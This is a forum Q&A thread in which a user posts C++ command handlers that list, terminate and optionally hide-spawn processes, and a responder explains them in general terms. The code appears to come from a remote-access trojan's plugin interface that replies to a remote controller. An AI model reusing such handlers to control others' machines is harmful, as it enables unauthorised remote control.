Solved

C++ und Delphi

Posted on 2004-03-28
2
316 Views
Last Modified: 2010-08-05
Hi Experts,
Can anybody tell me what this Code do:

--------------------------------------------------------------------------------------------------------------------------------------------

bool BOAPI CmdProc_ProcessList( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      char svBuffer[1024];
      PROCESSINFO *pinfo,*cur;

      if(svArg2) if(svArg2[0]=='\0') svArg2=NULL;

      pinfo=fct->CreateProcListSnapshot(gs, svArg2);

      for(cur=pinfo;cur;cur=cur->next) {
            THREADINFO *pti;
            int nThreads;

            nThreads=0;
            for(pti=cur->pThread;pti;pti=pti->next) nThreads++;
      
            api->pwsprintf(svBuffer,"(0x%X) %s  %d threads\n",cur->dwProcID,cur->svApp,nThreads);
            
            fct->IssueAuthCmdReply(gs, ctx, 0, svBuffer);
      }
      fct->IssueAuthCmdReply(gs, ctx, 0, "End process list.\n");
      fct->DestroyProcListSnapshot(gs, pinfo);      
      
      return 0;
}

bool BOAPI CmdProc_ProcessKill( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      // Get pid string (hex)
      char *svPid;
      fct->CharUpper(svArg2);
      svPid=fct->BreakString(svArg2,"0X", gs);
      if( svPid==NULL ) svPid=svArg2;
      
      // Convert to dword
      DWORD dwPid;
      dwPid=0;
      while(*svPid) {
            char c;
            c=*svPid;

            if(c>='A' && c<='F') c=c-'A'+0xA;
            else if(c>='0' && c<='9') c-='0';
            else c=0;

            dwPid<<=4;
            dwPid|=c;

            svPid++;
      }
      
      // Open process handle
      HANDLE hProc;
      hProc=api->pOpenProcess(PROCESS_TERMINATE,FALSE,dwPid);
      if(hProc==NULL) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not access process.\n" );
            return false;
      }
      if(api->pTerminateProcess(hProc,0)==0) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not terminate process.\n" );
            return false;
      }

      fct->IssueAuthCmdReply( gs, ctx, 0, "Process terminated.\n" );
      return true;
}

bool BOAPI CmdProc_ProcessSpawn( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
{
      STARTUPINFO si;
      PROCESS_INFORMATION pi;

      si.cb=sizeof(STARTUPINFO);
      gs->fct.memset(&si,0,sizeof(STARTUPINFO));
      si.dwFlags=STARTF_FORCEOFFFEEDBACK|STARTF_USESHOWWINDOW;
      si.wShowWindow=(nArg1==1)?SW_HIDE:SW_SHOW;
      HINSTANCE ShellExError;

      if(gs->api.pCreateProcess(
            NULL,
            svArg2,
            NULL,
            NULL,
            FALSE,
            NORMAL_PRIORITY_CLASS,
            NULL,
            NULL,
            &si,
            &pi)==0) {
            ShellExError = ShellExecute(NULL, "open", svArg2, NULL, NULL, si.wShowWindow);
            if (int(ShellExError)<= 32) {
                        gs->fct.IssueAuthCmdReply(gs,ctx,BCC_ERR,"Could not spawn process.\n");
                        return false;
            }
      }

      gs->fct.IssueAuthCmdReply( gs, ctx, 0, "Process spawned.\n" );
      return true;
}

--------------------------------------------------------------------------------------------------------------------------------------------
0
Comment
Question by:k4hvd77
2 Comments
 
LVL 11

Accepted Solution

by:
shaneholmes earned 500 total points
ID: 10698333
In general terms, it simply,

CmdProc_ProcessSpawn = Executes a process (Application)

CmdProc_ProcessKill = Terminates a process (Applicatin)

CmdProc_ProcessList = a list of the processes, which it then iterates and does something with


You didn't provide the code for the following methods below:

SHane

CreateProcListSnapshot
pwsprintf
IssueAuthCmdReply
DestroyProcListSnapshot
fct.memset
pOpenProcess
pTerminateProcess
0
 
LVL 4

Author Comment

by:k4hvd77
ID: 10698957
Thank you shaneholmes ;)
0

Featured Post

Free Tool: IP Lookup

Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Objective: - This article will help user in how to convert their numeric value become words. How to use 1. You can copy this code in your Unit as function 2. than you can perform your function by type this code The Code   (CODE) The Im…
In my programming career I have only very rarely run into situations where operator overloading would be of any use in my work.  Normally those situations involved math with either overly large numbers (hundreds of thousands of digits or accuracy re…
Are you ready to implement Active Directory best practices without reading 300+ pages? You're in luck. In this webinar hosted by Skyport Systems, you gain insight into Microsoft's latest comprehensive guide, with tips on the best and easiest way…

713 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question